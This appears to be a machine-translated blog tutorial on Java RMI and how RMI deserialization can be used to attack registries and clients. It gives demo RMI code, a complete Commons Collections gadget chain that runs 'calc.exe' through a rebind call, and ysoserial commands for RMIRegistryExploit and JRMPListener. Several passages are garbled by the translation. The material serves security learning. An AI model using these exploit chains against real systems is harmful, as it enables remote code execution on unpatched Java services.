Javaweb security learning - RMI deserialization

RMI

RMI(Remote Method Invocation)That is, Javaremote method invocation, which RMIis used to build distributed applications, similar to RPC(Remote Procedure Call Protocol)远程过程调用协议that RMIimplements remote communication Javaacross programs , so that an object on one can call a method on another (the method is executed on the remote and just returns the running result) . The two can be in different processes running on the same computer, or in different computers on the network.JVMJMVJMVJVMJVM

RMI Architecture:

RMI is divided into three main parts: Client, Server, and Registry.

In the lower version of the JDK, the Server and the Registry can not be on the same server, but in the higher version of the JDK, the Server and the Registry can only be on one server, otherwise the registration cannot be successful.

In this article, both Server and Registry are on the server side .

RegistryThe translation is the registry. In fact, it is essentially a map (hashtable), which registers many binding relationships between Names and objects, which are used by the client to query the reference of the method to be called. registryThe function is like, the patient (client) registers before seeing a doctor (obtains the IP, port, identifier of the remote object), and knows which outpatient room the doctor (server) is in before seeing a doctor (executes the remote method).

RMIThe underlying communication uses the Stub(运行在客户端)sum Skeleton(运行在服务端)mechanism, and the RMIcall to the remote method is roughly as follows:

​ The whole process will be TCPconnected twice. The first time is to Clientget the Name and object, and the 绑定关系second time is to connect Serverand call the remote method.

​The first TCP :

  1. RMI客户端It is created first when calling a remote method Stub(sun.rmi.registry.RegistryImpl_Stub).

  2. Stubwill Remotepass an object to 远程引用层(java.rmi.server.RemoteRef)and create an java.rmi.server.RemoteCall(远程调用)object.

  3. RemoteCallSerialization RMI服务名称, RemoteObject.

  4. RMI客户端The serialized request information is 远程引用层transmitted through the connection .RemoteCallSocketRMI服务端远程引用层

  5. RMI服务端The 远程引用层(sun.rmi.server.UnicastServerRef)received request will be passed the request to Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch).

  6. SkeletonCall RemoteCalldeserialize the serialization RMI客户端passed in.

  7. SkeletonHandle client requests: bind, list, lookup, rebind, unbind, if lookupso, find RMI服务名the bound interface object, serialize the object, and pass RemoteCallit to the client.

    Second TCP:

  8. RMI客户端Deserialize the server-side result to get a reference to the remote object.

  9. RMI客户端Call the remote method, RMI服务端reflect RMI服务实现类the corresponding method called and serialize the execution result and return it to the client.

  10. RMI客户端Deserialize the RMIremote method call result.

For detailed calling process reference: https://blog.csdn.net/qsort_/article/details/104861625

https://www.cnblogs.com/yyhuni/p/15091121.html#registryimpl_stubbind

It is recommended to debug it before reading the deserialization in the second part, and I will not repeat it here.

The following provides a simplest RMI demo:

Server

package RMI;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMI_Server{
    
    
    public interface RMIHelloInterface extends Remote {
    
    
        String hello() throws RemoteException;
    }
    public class RMIHelloWorld extends UnicastRemoteObject implements RMIHelloInterface{
    
    
            protected RMIHelloWorld() throws RemoteException {
    
    
            super();
        }

        public String hello() throws RemoteException {
    
    
            return "Hello RMI~";
        }
    }
    private void start() throws Exception{
    
    
               //System.setProperty("java.rmi.server.hostname","vpsip");
        //RMISocketFactory.setSocketFactory(new CustomerSocketFactory());
        LocateRegistry.createRegistry(7999);
        RMIHelloWorld h = new RMIHelloWorld();
        //不用bind是防止测试的时候重复绑定导致失败
        Naming.rebind("rmi://localhost:7999/hello",h);
    }

    public static void main(String[] args) throws Exception {
    
    
        new RMI_Server().start();
    }
}

Client

package RMI;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMI_Client {
    
    
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
    
    
        RMI_Server.RMIHelloInterface hello = (RMI_Server.RMIHelloInterface) Naming.lookup("rmi://127.0.0.1:1099/hello");
        String ret = hello.hello();
        System.out.println(ret);
    }
}

insert image description here

Naming in the code is just a tool class that encapsulates the registry operation.

Naming.rebind("//host/objName", myObj);
//而使用Registry,需要注册表对象上的现有句柄
Registry registry = LocateRegistry.getRegistry("host");
registry.rebind("objName", myObj);

insert image description here

However, the server is generally on the vps of the public network, and the hostname is different from the public network IP. It needs to be added at the beginning of the hello method of the server.

System.setProperty("java.rmi.server.hostname","所部属的服务器公网Ip地址");

Set the server IP variable to the system global variable - the hostname of java rmi, which allows the client to connect to the server.

When the client program requests an object from the server, the returned stub object contains the server's hostname, and the client's subsequent operations connect to the server according to this hostname. In the server, it is usually the IP address of the intranet. If DHCP is enabled in the VM virtual machine, it 127.0.1.1 newFQDN newHostnamewill cause a second TCP request to connect to the RMIServer.

You must also specify the communication port (second TCP) to prevent interception by the firewall, which must be called before registering the port

RMISocketFactory.setSocketFactory(new CustomerSocketFactory());

CustomerSocketFactory类:

package RMI;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.server.RMISocketFactory;

public class CustomerSocketFactory extends RMISocketFactory {
    
    
    @Override
    public Socket createSocket(String host, int port) throws IOException {
    
    
        return new Socket(host, port);
    }

    @Override
    public ServerSocket createServerSocket(int port) throws IOException {
    
    
        if (port == 0) {
    
    
            port = 7777;
        }
        System.out.println("rmi notify port:" + port);
        return new ServerSocket(port);
    }
}

These two sentences must be at the top. When I started testing, I put the instantiation of the class that defines the remote function at the top, but I kept getting an error and couldn't connect, and the specified communication port didn't work either.

RMI deserialization vulnerability

RMIAll objects in the communication are transmitted through Java serialization ( 客户端序列化,服务端反序列化), and there will be a readObject operation. If a malicious object is constructed on the server, the object will be serialized and transmitted to the RMIServerend, and the RMIServerend will be de-serialized when it is deserialized. Will trigger a deserialization vulnerability.

The existence of an RMI deserialization vulnerability must meet two conditions:

  1. RMI communication
  2. The target server references a third-party jar package with deserialization vulnerability (eg: commons-collections.jar 3.1)

The test environment also needs to be noted that the following versions have been repaired through the JEP290 mechanism,

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

This article is based on the jdk1.7.0_80 version for testing.

Since it is a deserialization vulnerability, you must first find the location of readObject. Analyzing the process of RMI communication, it can be found that the serialization operation mainly occurs in Registrythe process of communication with: that is, the bind / lookupoperation

If you go to dynamically debug the calling process, you can see that the server createRegistrymethod obtains the RegistryImplobject, and the getRegistrymethod obtains the RegistryImpl_Stubobject.

Regardless of whether it is a commonly used method on the Server bind/rebindor a commonly used method on the Client, the lookup methods above will finally handle 服务端the RegistryImpl_Skel#dispatchmethods corresponding to different objects, and all five methods can be called on the Server/Client.
insert image description here

var3 is an array of int type, corresponding to

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

You can see that both bind/rebind exist .readObject(), among which is the malicious serialized object var8we passed in.RMIExploitRemote

insert image description here

lookup also has.readObject()
insert image description here

At this time, go back and look at the RMI interaction process:

insert image description here

ClientIt can be called and triggered Registrywhen communicating with the Registry, then you can attack the Registry (server); in addition to returning serialized data, it must be deserialized when it arrives at the client. If a malicious server is forged to allow the connection, The right attack can be achieved .bind&rebind / lookupreadObject()unbind&rebindRegistryClientClient

Attack the server:

bind&rebind

Modify the client code to:

package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class RMI_Client {
    
    
    public static void main(String[] args) throws Exception {
    
    
        try {
    
    

            Transformer[] transformers = new Transformer[]{
    
    
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
    
    String.class, Class[].class}, new Object[]{
    
    "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
    
    Object.class, Object[].class}, new Object[]{
    
    null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc.exe"}),
            };
            Transformer transformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map ouputMap = LazyMap.decorate(innerMap, transformer);

            TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException, tiedMapEntry);

            Map tmpMap = new HashMap();
            tmpMap.put("pwn", badAttributeValueExpException);
            Constructor<?> ctor = null;
            ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);
            Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMI_Client.class.getClassLoader(), new Class[]{
    
    Remote.class}, invocationHandler));
            Naming.rebind("rmi://localhost:7999/hello",remote);
        } catch (Exception e) {
    
    
            e.printStackTrace();
        }
}
}

In fact, the gadget uses the proxy Remote class and sends it to the Registry through bind
insert image description here

This attack method has been implemented in ysoserial. Configure a CommonsCollections3.1 in the project, then start an RMI Registry, and then run:

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "calc.exe"

lookup

Exploit by forging connection requests, modify the lookup method code so that it can pass in the object: https://xz.aliyun.com/t/9053#toc-0

Attack client:

Forge a malicious RMI Registry using ysoserial's JRMPListener:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7999  CommonsCollections1 'calc.exe'

insert image description here

insert image description here

In addition, there are cases where the remote method is called to pass the parameter Object, the remote method returns an Object, etc., as well as the bypass of JEP290. The following articles have been sorted out in detail:

https://xz.aliyun.com/t/9053

https://www.anquanke.com/post/id/263726

https://paper.seebug.org/1194

Summarize

RMI data transmission is based on serialized data transmission, so RMI Registry, Client, and Server can attack each other. The bypass of JEP290 mainly uses the classes in the whitelist class of the RMI filter to bypass the deserialization. In addition, the low version version also uses codebase to attack.

Guess you like

Origin blog.csdn.net/weixin_43610673/article/details/124138537